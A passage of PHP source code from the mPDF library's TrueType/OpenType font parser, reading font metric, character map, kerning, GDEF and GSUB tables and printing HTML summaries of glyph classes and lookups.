and Windows metrics table /////////////////////////////////// if (isset($this->tables["OS/2"])) { $this->seek_table("OS/2"); $version = $this->read_ushort(); $this->skip(2); $usWeightClass = $this->read_ushort(); $this->skip(2); $fsType = $this->read_ushort(); if ($fsType == 0x0002 || ($fsType & 0x0300) != 0) { global $overrideTTFFontRestriction; if (!$overrideTTFFontRestriction) { throw new \Mpdf\MpdfException('ERROR - Font file ' . $this->filename . ' cannot be embedded due to copyright restrictions.'); } $this->restrictedUse = true; } $this->skip(20); $sF = $this->read_short(); $this->sFamilyClass = ($sF >> 8); $this->sFamilySubClass = ($sF & 0xFF); $this->_pos += 10; //PANOSE = 10 byte length $panose = fread($this->fh, 10); $this->panose = []; for ($p = 0; $p < strlen($panose); $p++) { $this->panose[] = ord($panose[$p]); } $this->skip(26); $sTypoAscender = $this->read_short(); $sTypoDescender = $this->read_short(); if (!$this->ascent) { $this->ascent = ($sTypoAscender * $scale); } if (!$this->descent) { $this->descent = ($sTypoDescender * $scale); } if ($version > 1) { $this->skip(16); $sCapHeight = $this->read_short(); $this->capHeight = ($sCapHeight * $scale); } else { $this->capHeight = $this->ascent; } } else { $usWeightClass = 500; if (!$this->ascent) { $this->ascent = ($yMax * $scale); } if (!$this->descent) { $this->descent = ($yMin * $scale); } $this->capHeight = $this->ascent; } $this->stemV = 50 + intval(pow(($usWeightClass / 65.0), 2)); /////////////////////////////////// // post - PostScript table /////////////////////////////////// $this->seek_table("post"); if ($debug) { $ver_maj = $this->read_ushort(); $ver_min = $this->read_ushort(); if ($ver_maj < 1 || $ver_maj > 4) { throw new \Mpdf\MpdfException('Unknown post table version ' . $ver_maj); } } else { $this->skip(4); } $this->italicAngle = $this->read_short() + $this->read_ushort() / 65536.0; $this->underlinePosition = $this->read_short() * $scale; $this->underlineThickness = $this->read_short() * $scale; $isFixedPitch = $this->read_ulong(); $this->flags = 4; if ($this->italicAngle != 0) { $this->flags = $this->flags | 64; } if ($usWeightClass >= 600) { $this->flags = $this->flags | 262144; } if ($isFixedPitch) { $this->flags = $this->flags | 1; } /////////////////////////////////// // hhea - Horizontal header table /////////////////////////////////// $this->seek_table("hhea"); if ($debug) { $ver_maj = $this->read_ushort(); $ver_min = $this->read_ushort(); if ($ver_maj != 1) { throw new \Mpdf\MpdfException('Unknown hhea table version ' . $ver_maj); } $this->skip(28); } else { $this->skip(32); } $metricDataFormat = $this->read_ushort(); if ($metricDataFormat != 0) { throw new \Mpdf\MpdfException('Unknown horizontal metric data format ' . $metricDataFormat); } $numberOfHMetrics = $this->read_ushort(); if ($numberOfHMetrics == 0) { throw new \Mpdf\MpdfException('Number of horizontal metrics is 0'); } /////////////////////////////////// // maxp - Maximum profile table /////////////////////////////////// $this->seek_table("maxp"); if ($debug) { $ver_maj = $this->read_ushort(); $ver_min = $this->read_ushort(); if ($ver_maj != 1) { throw new \Mpdf\MpdfException('Unknown maxp table version ' . $ver_maj); } } else { $this->skip(4); } $numGlyphs = $this->read_ushort(); /////////////////////////////////// // cmap - Character to glyph index mapping table /////////////////////////////////// $cmap_offset = $this->seek_table("cmap"); $this->skip(2); $cmapTableCount = $this->read_ushort(); $unicode_cmap_offset = 0; for ($i = 0; $i < $cmapTableCount; $i++) { $platformID = $this->read_ushort(); $encodingID = $this->read_ushort(); $offset = $this->read_ulong(); $save_pos = $this->_pos; if (($platformID == 3 && $encodingID == 1) || $platformID == 0) { // Microsoft, Unicode $format = $this->get_ushort($cmap_offset + $offset); if ($format == 4) { if (!$unicode_cmap_offset) { $unicode_cmap_offset = $cmap_offset + $offset; } if ($BMPonly) { break; } } } // Microsoft, Unicode Format 12 table HKCS else { if ((($platformID == 3 && $encodingID == 10) || $platformID == 0) && !$BMPonly) { $format = $this->get_ushort($cmap_offset + $offset); if ($format == 12) { $unicode_cmap_offset = $cmap_offset + $offset; break; } } } $this->seek($save_pos); } if (!$unicode_cmap_offset) { throw new \Mpdf\MpdfException('Font (' . $this->filename . ') does not have cmap for Unicode (platform 3, encoding 1, format 4, or platform 0, any encoding, format 4)'); } $sipset = false; $smpset = false; // mPDF 5.7.1 $this->GSUBScriptLang = []; $this->rtlPUAstr = ''; $this->rtlPUAarr = []; $this->GSUBFeatures = []; $this->GSUBLookups = []; $this->GPOSScriptLang = []; $this->GPOSFeatures = []; $this->GPOSLookups = []; $this->glyphIDtoUni = ''; // Format 12 CMAP does characters above Unicode BMP i.e. some HKCS characters U+20000 and above if ($format == 12 && !$BMPonly) { $this->maxUniChar = 0; $this->seek($unicode_cmap_offset + 4); $length = $this->read_ulong(); $limit = $unicode_cmap_offset + $length; $this->skip(4); $nGroups = $this->read_ulong(); $glyphToChar = []; $charToGlyph = []; for ($i = 0; $i < $nGroups; $i++) { $startCharCode = $this->read_ulong(); $endCharCode = $this->read_ulong(); $startGlyphCode = $this->read_ulong(); if ($endCharCode > 0x20000 && $endCharCode < 0x2FFFF) { $sipset = true; } else { if ($endCharCode > 0x10000 && $endCharCode < 0x1FFFF) { $smpset = true; } } $offset = 0; for ($unichar = $startCharCode; $unichar <= $endCharCode; $unichar++) { $glyph = $startGlyphCode + $offset; $offset++; if ($unichar < 0x30000) { $charToGlyph[$unichar] = $glyph; $this->maxUniChar = max($unichar, $this->maxUniChar); $glyphToChar[$glyph][] = $unichar; } } } } else { $glyphToChar = []; $charToGlyph = []; $this->getCMAP4($unicode_cmap_offset, $glyphToChar, $charToGlyph); } $this->sipset = $sipset; $this->smpset = $smpset; /////////////////////////////////// // mPDF 5.7.1 // Map Unmapped glyphs - from $numGlyphs if ($this->useOTL) { $bctr = 0xE000; for ($gid = 1; $gid < $numGlyphs; $gid++) { if (!isset($glyphToChar[$gid])) { while (isset($charToGlyph[$bctr])) { $bctr++; } // Avoid overwriting a glyph already mapped in PUA if (($bctr > 0xF8FF) && ($bctr < 0x2CEB0)) { if (!$BMPonly) { $bctr = 0x2CEB0; // Use unassigned area 0x2CEB0 to 0x2F7FF (space for 10,000 characters) $this->sipset = $sipset = true; // forces subsetting; also ensure charwidths are saved while (isset($charToGlyph[$bctr])) { $bctr++; } } else { throw new \Mpdf\MpdfException($names[1] . " : WARNING - The font does not have enough space to map all (unmapped) included glyphs into Private Use Area U+E000 - U+F8FF"); } } $glyphToChar[$gid][] = $bctr; $charToGlyph[$bctr] = $gid; $this->maxUniChar = max($bctr, $this->maxUniChar); $bctr++; } } } $this->glyphToChar = $glyphToChar; $this->charToGlyph = $charToGlyph; /////////////////////////////////// // mPDF 5.7.1 OpenType Layout tables $this->GSUBScriptLang = []; $this->rtlPUAstr = ''; $this->rtlPUAarr = []; if ($useOTL) { $this->_getGDEFtables(); list($this->GSUBScriptLang, $this->GSUBFeatures, $this->GSUBLookups, $this->rtlPUAstr, $this->rtlPUAarr) = $this->_getGSUBtables(); list($this->GPOSScriptLang, $this->GPOSFeatures, $this->GPOSLookups) = $this->_getGPOStables(); $this->glyphIDtoUni = str_pad('', 256 * 256 * 3, "\x00"); foreach ($glyphToChar as $gid => $arr) { if (isset($glyphToChar[$gid][0])) { $char = $glyphToChar[$gid][0]; if ($char != 0 && $char != 65535) { $this->glyphIDtoUni[$gid * 3] = chr($char >> 16); $this->glyphIDtoUni[$gid * 3 + 1] = chr(($char >> 8) & 0xFF); $this->glyphIDtoUni[$gid * 3 + 2] = chr($char & 0xFF); } } } } /////////////////////////////////// /////////////////////////////////// // hmtx - Horizontal metrics table /////////////////////////////////// $this->getHMTX($numberOfHMetrics, $numGlyphs, $glyphToChar, $scale); /////////////////////////////////// // kern - Kerning pair table /////////////////////////////////// if ($kerninfo) { // Recognises old form of Kerning table - as required by Windows - Format 0 only $kern_offset = $this->seek_table("kern"); $version = $this->read_ushort(); $nTables = $this->read_ushort(); // subtable header $sversion = $this->read_ushort(); $slength = $this->read_ushort(); $scoverage = $this->read_ushort(); $format = $scoverage >> 8; if ($kern_offset && $version == 0 && $format == 0) { // Format 0 $nPairs = $this->read_ushort(); $this->skip(6); for ($i = 0; $i < $nPairs; $i++) { $left = $this->read_ushort(); $right = $this->read_ushort(); $val = $this->read_short(); if (count($glyphToChar[$left]) == 1 && count($glyphToChar[$right]) == 1) { if ($left != 32 && $right != 32) { $this->kerninfo[$glyphToChar[$left][0]][$glyphToChar[$right][0]] = intval($val * $scale); } } } } } } ///////////////////////////////////////////////////////////////////////////////////////// function _getGDEFtables() { /////////////////////////////////// // GDEF - Glyph Definition /////////////////////////////////// // http://www.microsoft.com/typography/otspec/gdef.htm if (isset($this->tables["GDEF"])) { if ($this->mode == 'summary') { $this->mpdf->WriteHTML('<h1>GDEF table</h1>'); } $gdef_offset = $this->seek_table("GDEF"); // ULONG Version of the GDEF table-currently 0x00010000 $ver_maj = $this->read_ushort(); $ver_min = $this->read_ushort(); // Version 0x00010002 of GDEF header contains additional Offset to a list defining mark glyph set definitions (MarkGlyphSetDef) $GlyphClassDef_offset = $this->read_ushort(); $AttachList_offset = $this->read_ushort(); $LigCaretList_offset = $this->read_ushort(); $MarkAttachClassDef_offset = $this->read_ushort(); if ($ver_min == 2) { $MarkGlyphSetsDef_offset = $this->read_ushort(); } // GlyphClassDef $this->seek($gdef_offset + $GlyphClassDef_offset); /* 1 Base glyph (single character, spacing glyph) 2 Ligature glyph (multiple character, spacing glyph) 3 Mark glyph (non-spacing combining glyph) 4 Component glyph (part of single character, spacing glyph) */ $GlyphByClass = $this->_getClassDefinitionTable(); if ($this->mode == 'summary') { $this->mpdf->WriteHTML('<h2>Glyph classes</h2>'); } if (isset($GlyphByClass[1]) && count($GlyphByClass[1]) > 0) { $this->GlyphClassBases = $this->formatClassArr($GlyphByClass[1]); if ($this->mode == 'summary') { $this->mpdf->WriteHTML('<h3>Glyph class 1</h3>'); $this->mpdf->WriteHTML('<h5>Base glyph (single character, spacing glyph)</h5>'); $html = ''; $html .= '<div class="glyphs">'; foreach ($GlyphByClass[1] as $g) { $html .= '&#x' . $g . '; '; } $html .= '</div>'; $this->mpdf->WriteHTML($html); } } else { $this->GlyphClassBases = ''; } if (isset($GlyphByClass[2]) && count($GlyphByClass[2]) > 0) { $this->GlyphClassLigatures = $this->formatClassArr($GlyphByClass[2]); if ($this->mode == 'summary') { $this->mpdf->WriteHTML('<h3>Glyph class 2</h3>'); $this->mpdf->WriteHTML('<h5>Ligature glyph (multiple character, spacing glyph)</h5>'); $html = ''; $html .= '<div class="glyphs">'; foreach ($GlyphByClass[2] as $g) { $html .= '&#x' . $g . '; '; } $html .= '</div>'; $this->mpdf->WriteHTML($html); } } else { $this->GlyphClassLigatures = ''; } if (isset($GlyphByClass[3]) && count($GlyphByClass[3]) > 0) { $this->GlyphClassMarks = $this->formatClassArr($GlyphByClass[3]); if ($this->mode == 'summary') { $this->mpdf->WriteHTML('<h3>Glyph class 3</h3>'); $this->mpdf->WriteHTML('<h5>Mark glyph (non-spacing combining glyph)</h5>'); $html = ''; $html .= '<div class="glyphs">'; foreach ($GlyphByClass[3] as $g) { $html .= '◌&#x' . $g . '; '; } $html .= '</div>'; $this->mpdf->WriteHTML($html); } } else { $this->GlyphClassMarks = ''; } if (isset($GlyphByClass[4]) && count($GlyphByClass[4]) > 0) { $this->GlyphClassComponents = $this->formatClassArr($GlyphByClass[4]); if ($this->mode == 'summary') { $this->mpdf->WriteHTML('<h3>Glyph class 4</h3>'); $this->mpdf->WriteHTML('<h5>Component glyph (part of single character, spacing glyph)</h5>'); $html = ''; $html .= '<div class="glyphs">'; foreach ($GlyphByClass[4] as $g) { $html .= '&#x' . $g . '; '; } $html .= '</div>'; $this->mpdf->WriteHTML($html); } } else { $this->GlyphClassComponents = ''; } $Marks = $GlyphByClass[3]; // to use for MarkAttachmentType /* Required for GPOS // Attachment List if ($AttachList_offset) { $this->seek($gdef_offset+$AttachList_offset ); } The Attachment Point List table (AttachmentList) identifies all the attachment points defined in the GPOS table and their associated glyphs so a client can quickly access coordinates for each glyph's attachment points. As a result, the client can cache coordinates for attachment points along with glyph bitmaps and avoid recalculating the attachment points each time it displays a glyph. Without this table, processing speed would be slower because the client would have to decode the GPOS lookups that define attachment points and compile the points in a list. The Attachment List table (AttachList) may be used to cache attachment point coordinates along with glyph bitmaps. The table consists of an offset to a Coverage table (Coverage) listing all glyphs that define attachment points in the GPOS table, a count of the glyphs with attachment points (GlyphCount), and an array of offsets to AttachPoint tables (AttachPoint). The array lists the AttachPoint tables, one for each glyph in the Coverage table, in the same order as the Coverage Index. AttachList table Type Name Description Offset Coverage Offset to Coverage table - from beginning of AttachList table uint16 GlyphCount Number of glyphs with attachment points Offset AttachPoint[GlyphCount] Array of offsets to AttachPoint tables-from beginning of AttachList table-in Coverage Index order An AttachPoint table consists of a count of the attachment points on a single glyph (PointCount) and an array of contour indices of those points (PointIndex), listed in increasing numerical order. AttachPoint table Type Name Description uint16 PointCount Number of attachment points on this glyph uint16 PointIndex[PointCount] Array of contour point indices -in increasing numerical order See Example 3 - http://www.microsoft.com/typography/otspec/gdef.htm */ // Ligature Caret List // The Ligature Caret List table (LigCaretList) defines caret positions for all the ligatures in a font. // Not required for mDPF // MarkAttachmentType if ($MarkAttachClassDef_offset) { if ($this->mode == 'summary') { $this->mpdf->WriteHTML('<h1>Mark Attachment Types</h1>'); } $this->seek($gdef_offset + $MarkAttachClassDef_offset); $MarkAttachmentTypes = $this->_getClassDefinitionTable(); foreach ($MarkAttachmentTypes as $class => $glyphs) { if (is_array($Marks) && count($Marks)) { $mat = array_diff($Marks, $MarkAttachmentTypes[$class]); sort($mat, SORT_STRING); } else { $mat = []; } $this->MarkAttachmentType[$class] = $this->formatClassArr($mat); if ($this->mode == 'summary') { $this->mpdf->WriteHTML('<h3>Mark Attachment Type: ' . $class . '</h3>'); $html = ''; $html .= '<div class="glyphs">'; foreach ($glyphs as $g) { $html .= '◌&#x' . $g . '; '; } $html .= '</div>'; $this->mpdf->WriteHTML($html); } } } else { $this->MarkAttachmentType = []; } // MarkGlyphSets only in Version 0x00010002 of GDEF if ($ver_min == 2 && $MarkGlyphSetsDef_offset) { if ($this->mode == 'summary') { $this->mpdf->WriteHTML('<h1>Mark Glyph Sets</h1>'); } $this->seek($gdef_offset + $MarkGlyphSetsDef_offset); $MarkSetTableFormat = $this->read_ushort(); $MarkSetCount = $this->read_ushort(); $MarkSetOffset = []; for ($i = 0; $i < $MarkSetCount; $i++) { $MarkSetOffset[] = $this->read_ulong(); } for ($i = 0; $i < $MarkSetCount; $i++) { $this->seek($MarkSetOffset[$i]); $glyphs = $this->_getCoverage(); $this->MarkGlyphSets[$i] = $this->formatClassArr($glyphs); if ($this->mode == 'summary') { $this->mpdf->WriteHTML('<h3>Mark Glyph Set class: ' . $i . '</h3>'); $html = ''; $html .= '<div class="glyphs">'; foreach ($glyphs as $g) { $html .= '◌&#x' . $g . '; '; } $html .= '</div>'; $this->mpdf->WriteHTML($html); } } } else { $this->MarkGlyphSets = []; } } else { $this->mpdf->WriteHTML('<div>GDEF table not defined</div>'); } //echo $this->GlyphClassMarks ; exit; //print_r($GlyphClass); exit; //print_r($GlyphByClass); exit; } function _getClassDefinitionTable($offset = 0) { if ($offset > 0) { $this->seek($offset); } // NB Any glyph not included in the range of covered GlyphIDs automatically belongs to Class 0. This is not returned by this function $ClassFormat = $this->read_ushort(); $GlyphByClass = []; if ($ClassFormat == 1) { $StartGlyph = $this->read_ushort(); $GlyphCount = $this->read_ushort(); for ($i = 0; $i < $GlyphCount; $i++) { $gid = $StartGlyph + $i; $class = $this->read_ushort(); $GlyphByClass[$class][] = unicode_hex($this->glyphToChar[$gid][0]); } } else { if ($ClassFormat == 2) { $tableCount = $this->read_ushort(); for ($i = 0; $i < $tableCount; $i++) { $startGlyphID = $this->read_ushort(); $endGlyphID = $this->read_ushort(); $class = $this->read_ushort(); for ($gid = $startGlyphID; $gid <= $endGlyphID; $gid++) { $GlyphByClass[$class][] = unicode_hex($this->glyphToChar[$gid][0]); } } } } ksort($GlyphByClass); return $GlyphByClass; } function _getGSUBtables() { /////////////////////////////////// // GSUB - Glyph Substitution /////////////////////////////////// if (isset($this->tables["GSUB"])) { $this->mpdf->WriteHTML('<h1>GSUB Tables</h1>'); $ffeats = []; $gsub_offset = $this->seek_table("GSUB"); $this->skip(4); $ScriptList_offset = $gsub_offset + $this->read_ushort(); $FeatureList_offset = $gsub_offset + $this->read_ushort(); $LookupList_offset = $gsub_offset + $this->read_ushort(); // ScriptList $this->seek($ScriptList_offset); $ScriptCount = $this->read_ushort(); for ($i = 0; $i < $ScriptCount; $i++) { $ScriptTag = $this->read_tag(); // = "beng", "deva" etc. $ScriptTableOffset = $this->read_ushort(); $ffeats[$ScriptTag] = $ScriptList_offset + $ScriptTableOffset; } // Script Table foreach ($ffeats as $t => $o) { $ls = []; $this->seek($o); $DefLangSys_offset = $this->read_ushort(); if ($DefLangSys_offset > 0) { $ls['DFLT'] = $DefLangSys_offset + $o; } $LangSysCount = $this->read_ushort(); for ($i = 0; $i < $LangSysCount; $i++) { $LangTag = $this->read_tag(); // = $LangTableOffset = $this->read_ushort(); $ls[$LangTag] = $o + $LangTableOffset; } $ffeats[$t] = $ls; } //print_r($ffeats); exit; // Get FeatureIndexList // LangSys Table - from first listed langsys foreach ($ffeats as $st => $scripts) { foreach ($scripts as $t => $o) { $FeatureIndex = []; $langsystable_offset = $o; $this->seek($langsystable_offset); $LookUpOrder = $this->read_ushort(); //==NULL $ReqFeatureIndex = $this->read_ushort(); if ($ReqFeatureIndex != 0xFFFF) { $FeatureIndex[] = $ReqFeatureIndex; } $FeatureCount = $this->read_ushort(); for ($i = 0; $i < $FeatureCount; $i++) { $FeatureIndex[] = $this->read_ushort(); // = index of feature } $ffeats[$st][$t] = $FeatureIndex; } } //print_r($ffeats); exit; // Feauture List => LookupListIndex es $this->seek($FeatureList_offset); $FeatureCount = $this->read_ushort(); $Feature = []; for ($i = 0; $i < $FeatureCount; $i++) { $Feature[$i] = ['tag' => $this->read_tag()]; $Feature[$i]['offset'] = $FeatureList_offset + $this->read_ushort(); } for ($i = 0; $i < $FeatureCount; $i++) { $this->seek($Feature[$i]['offset']); $this->read_ushort(); // null $Feature[$i]['LookupCount'] = $Lookupcount = $this->read_ushort(); $Feature[$i]['LookupListIndex'] = []; for ($c = 0; $c < $Lookupcount; $c++) { $Feature[$i]['LookupListIndex'][] = $this->read_ushort(); } } foreach ($ffeats as $st => $scripts) { foreach ($scripts as $t => $o) { $FeatureIndex = $ffeats[$st][$t]; foreach ($FeatureIndex as $k => $fi) { $ffeats[$st][$t][$k] = $Feature[$fi]; } } } //===================================================================================== $gsub = []; $GSUBScriptLang = []; foreach ($ffeats as $st => $scripts) { foreach ($scripts as $t => $langsys) { $lg = []; foreach ($langsys as $ft) { $lg[$ft['LookupListIndex'][0]] = $ft; } // list of Lookups in order they need to be run i.e. order listed in Lookup table ksort($lg); foreach ($lg as $ft) { $gsub[$st][$t][$ft['tag']] = $ft['LookupListIndex']; } if (!isset($GSUBScriptLang[$st])) { $GSUBScriptLang[$st] = ''; } $GSUBScriptLang[$st] .= $t . ' '; } } //print_r($gsub); exit; if ($this->mode == 'summary') { $this->mpdf->WriteHTML('<h3>GSUB Scripts & Languages</h3>'); $this->mpdf->WriteHTML('<div class="glyphs">'); $html = ''; if (count($gsub)) { foreach ($gsub as $st => $g) { $html .= '<h5>' . $st . '</h5>'; foreach ($g as $l => $t) { $html .= '<div><a href="font_dump_OTL.php?script=' . $st . '&lang=' . $l . '">' . $l . '</a></b>: '; foreach ($t as $tag => $o) { $html .= $tag . ' '; } $html .= '</div>'; } } } else { $html .= '<div>No entries in GSUB table.</div>'; } $this->mpdf->WriteHTML($html); $this->mpdf->WriteHTML('</div>'); return 0; } //===================================================================================== // Get metadata and offsets for whole Lookup List table $this->seek($LookupList_offset); $LookupCount = $this->read_ushort(); $GSLookup = []; $Offsets = []; $SubtableCount = []; for ($i = 0; $i < $LookupCount; $i++) { $Offsets[$i] = $LookupList_offset + $this->read_ushort(); } for ($i = 0; $i < $LookupCount; $i++) { $this->seek($Offsets[$i]); $GSLookup[$i]['Type'] = $this->read_ushort(); $GSLookup[$i]['Flag'] = $flag = $this->read_ushort(); $GSLookup[$i]['SubtableCount'] = $SubtableCount[$i] = $this->read_ushort(); for ($c = 0; $c < $SubtableCount[$i]; $c++) { $GSLookup[$i]['Subtables'][$c] = $Offsets[$i] + $this->read_ushort(); } // MarkFilteringSet = Index (base 0) into GDEF mark glyph sets structure if (($flag & 0x0010) == 0x0010) { $GSLookup[$i]['MarkFilteringSet'] = $this->read_ushort(); } // else { $GSLookup[$i]['MarkFilteringSet'] = ''; } // Lookup Type 7: Extension if ($GSLookup[$i]['Type'] == 7) { // Overwrites new offset (32-bit) for each subtable, and a new lookup Type for ($c = 0; $c < $SubtableCount[$i]; $c++) { $this->seek($GSLookup[$i]['Subtables'][$c]); $ExtensionPosFormat = $this->read_ushort(); $type = $this->read_ushort(); $GSLookup[$i]['Subtables'][$c] = $GSLookup[$i]['Subtables'][$c] + $this->read_ulong(); } $GSLookup[$i]['Type'] = $type; } } //print_r($GSLookup); exit; //===================================================================================== // Process Whole LookupList - Get LuCoverage = Lookup coverage just for first glyph $this->GSLuCoverage = []; for ($i = 0; $i < $LookupCount; $i++) { for ($c = 0; $c < $GSLookup[$i]['SubtableCount']; $c++) { $this->seek($GSLookup[$i]['Subtables'][$c]); $PosFormat = $this->read_ushort(); if ($GSLookup[$i]['Type'] == 5 && $PosFormat == 3) { $this->skip(4); } else { if ($GSLookup[$i]['Type'] == 6 && $PosFormat == 3) { $BacktrackGlyphCount = $this->read_ushort(); $this->skip(2 * $BacktrackGlyphCount + 2); } } // NB Coverage only looks at glyphs for position 1 (i.e. 5.3 and 6.3) // NEEDS TO READ ALL ******************** $Coverage = $GSLookup[$i]['Subtables'][$c] + $this->read_ushort(); $this->seek($Coverage); $glyphs = $this->_getCoverage(); $this->GSLuCoverage[$i][$c] = implode('|', $glyphs); } } // $this->GSLuCoverage and $GSLookup //===================================================================================== $s = '<?php $GSLuCoverage = ' . var_export($this->GSLuCoverage, true) . '; ?>'; //===================================================================================== $s = '<?php $GlyphClassBases = \'' . $this->GlyphClassBases . '\'; $GlyphClassMarks = \'' . $this->GlyphClassMarks . '\'; $GlyphClassLigatures = \'' . $this->GlyphClassLigatures . '\'; $GlyphClassComponents = \'' . $this->GlyphClassComponents . '\'; $MarkGlyphSets = ' . var_export($this->MarkGlyphSets, true) . '; $MarkAttachmentType = ' . var_export($this->MarkAttachmentType, true) . '; ?>'; //===================================================================================== //===================================================================================== //===================================================================================== // Now repeats as original to get Substitution rules //===================================================================================== //===================================================================================== //===================================================================================== // Get metadata and offsets for whole Lookup List table $this->seek($LookupList_offset); $LookupCount = $this->read_ushort(); $Lookup = []; for ($i = 0; $i < $LookupCount; $i++) { $Lookup[$i]['offset'] = $LookupList_offset + $this->read_ushort(); } for ($i = 0; $i < $LookupCount; $i++) { $this->seek($Lookup[$i]['offset']); $Lookup[$i]['Type'] = $this->read_ushort(); $Lookup[$i]['Flag'] = $flag = $this->read_ushort(); $Lookup[$i]['SubtableCount'] = $this->read_ushort(); for ($c = 0; $c < $Lookup[$i]['SubtableCount']; $c++) { $Lookup[$i]['Subtable'][$c]['Offset'] = $Lookup[$i]['offset'] + $this->read_ushort(); } // MarkFilteringSet = Index (base 0) into GDEF mark glyph sets structure if (($flag & 0x0010) == 0x0010) { $Lookup[$i]['MarkFilteringSet'] = $this->read_ushort(); } else { $Lookup[$i]['MarkFilteringSet'] = ''; } // Lookup Type 7: Extension if ($Lookup[$i]['Type'] == 7) { // Overwrites new offset (32-bit) for each subtable, and a new lookup Type for ($c = 0; $c < $Lookup[$i]['SubtableCount']; $c++) { $this->seek($Lookup[$i]['Subtable'][$c]['Offset']); $ExtensionPosFormat = $this->read_ushort(); $type = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['Offset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ulong(); } $Lookup[$i]['Type'] = $type; } } //print_r($Lookup); exit; //===================================================================================== // Process (1) Whole LookupList for ($i = 0; $i < $LookupCount; $i++) { for ($c = 0; $c < $Lookup[$i]['SubtableCount']; $c++) { $this->seek($Lookup[$i]['Subtable'][$c]['Offset']); $SubstFormat = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['Format'] = $SubstFormat; /* Lookup['Type'] Enumeration table for glyph substitution Value Type Description 1 Single Replace one glyph with one glyph 2 Multiple Replace one glyph with more than one glyph 3 Alternate Replace one glyph with one of many glyphs 4 Ligature Replace multiple glyphs with one glyph 5 Context Replace one or more glyphs in context 6 Chaining Context Replace one or more glyphs in chained context 7 Extension Substitution Extension mechanism for other substitutions (i.e. this excludes the Extension type substitution itself) 8 Reverse chaining context single Applied in reverse order, replace single glyph in chaining context */ // LookupType 1: Single Substitution Subtable if ($Lookup[$i]['Type'] == 1) { $Lookup[$i]['Subtable'][$c]['CoverageTableOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); if ($SubstFormat == 1) { // Calculated output glyph indices $Lookup[$i]['Subtable'][$c]['DeltaGlyphID'] = $this->read_short(); } else { if ($SubstFormat == 2) { // Specified output glyph indices $GlyphCount = $this->read_ushort(); for ($g = 0; $g < $GlyphCount; $g++) { $Lookup[$i]['Subtable'][$c]['Glyphs'][] = $this->read_ushort(); } } } } // LookupType 2: Multiple Substitution Subtable else { if ($Lookup[$i]['Type'] == 2) { $Lookup[$i]['Subtable'][$c]['CoverageTableOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['SequenceCount'] = $SequenceCount = $this->read_short(); for ($s = 0; $s < $SequenceCount; $s++) { $Lookup[$i]['Subtable'][$c]['Sequences'][$s]['Offset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_short(); } for ($s = 0; $s < $SequenceCount; $s++) { // Sequence Tables $this->seek($Lookup[$i]['Subtable'][$c]['Sequences'][$s]['Offset']); $Lookup[$i]['Subtable'][$c]['Sequences'][$s]['GlyphCount'] = $this->read_short(); for ($g = 0; $g < $Lookup[$i]['Subtable'][$c]['Sequences'][$s]['GlyphCount']; $g++) { $Lookup[$i]['Subtable'][$c]['Sequences'][$s]['SubstituteGlyphID'][] = $this->read_ushort(); } } } // LookupType 3: Alternate Forms else { if ($Lookup[$i]['Type'] == 3) { $Lookup[$i]['Subtable'][$c]['CoverageTableOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['AlternateSetCount'] = $AlternateSetCount = $this->read_short(); for ($s = 0; $s < $AlternateSetCount; $s++) { $Lookup[$i]['Subtable'][$c]['AlternateSets'][$s]['Offset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_short(); } for ($s = 0; $s < $AlternateSetCount; $s++) { // AlternateSet Tables $this->seek($Lookup[$i]['Subtable'][$c]['AlternateSets'][$s]['Offset']); $Lookup[$i]['Subtable'][$c]['AlternateSets'][$s]['GlyphCount'] = $this->read_short(); for ($g = 0; $g < $Lookup[$i]['Subtable'][$c]['AlternateSets'][$s]['GlyphCount']; $g++) { $Lookup[$i]['Subtable'][$c]['AlternateSets'][$s]['SubstituteGlyphID'][] = $this->read_ushort(); } } } // LookupType 4: Ligature Substitution Subtable else { if ($Lookup[$i]['Type'] == 4) { $Lookup[$i]['Subtable'][$c]['CoverageTableOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['LigSetCount'] = $LigSetCount = $this->read_short(); for ($s = 0; $s < $LigSetCount; $s++) { $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Offset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_short(); } for ($s = 0; $s < $LigSetCount; $s++) { // LigatureSet Tables $this->seek($Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Offset']); $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['LigCount'] = $this->read_short(); for ($g = 0; $g < $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['LigCount']; $g++) { $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['LigatureOffset'][$g] = $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Offset'] + $this->read_ushort(); } } for ($s = 0; $s < $LigSetCount; $s++) { for ($g = 0; $g < $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['LigCount']; $g++) { // Ligature tables $this->seek($Lookup[$i]['Subtable'][$c]['LigSet'][$s]['LigatureOffset'][$g]); $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Ligature'][$g]['LigGlyph'] = $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Ligature'][$g]['CompCount'] = $this->read_ushort(); for ($l = 1; $l < $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Ligature'][$g]['CompCount']; $l++) { $Lookup[$i]['Subtable'][$c]['LigSet'][$s]['Ligature'][$g]['GlyphID'][$l] = $this->read_ushort(); } } } } // LookupType 5: Contextual Substitution Subtable else { if ($Lookup[$i]['Type'] == 5) { // Format 1: Context Substitution if ($SubstFormat == 1) { $Lookup[$i]['Subtable'][$c]['CoverageTableOffset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_ushort(); $Lookup[$i]['Subtable'][$c]['SubRuleSetCount'] = $SubRuleSetCount = $this->read_short(); for ($s = 0; $s < $SubRuleSetCount; $s++) { $Lookup[$i]['Subtable'][$c]['SubRuleSet'][$s]['Offset'] = $Lookup[$i]['Subtable'][$c]['Offset'] + $this->read_short(); } for ($s = 0; $s < $SubRuleSetCount; $s++) { // SubRuleSet Tables 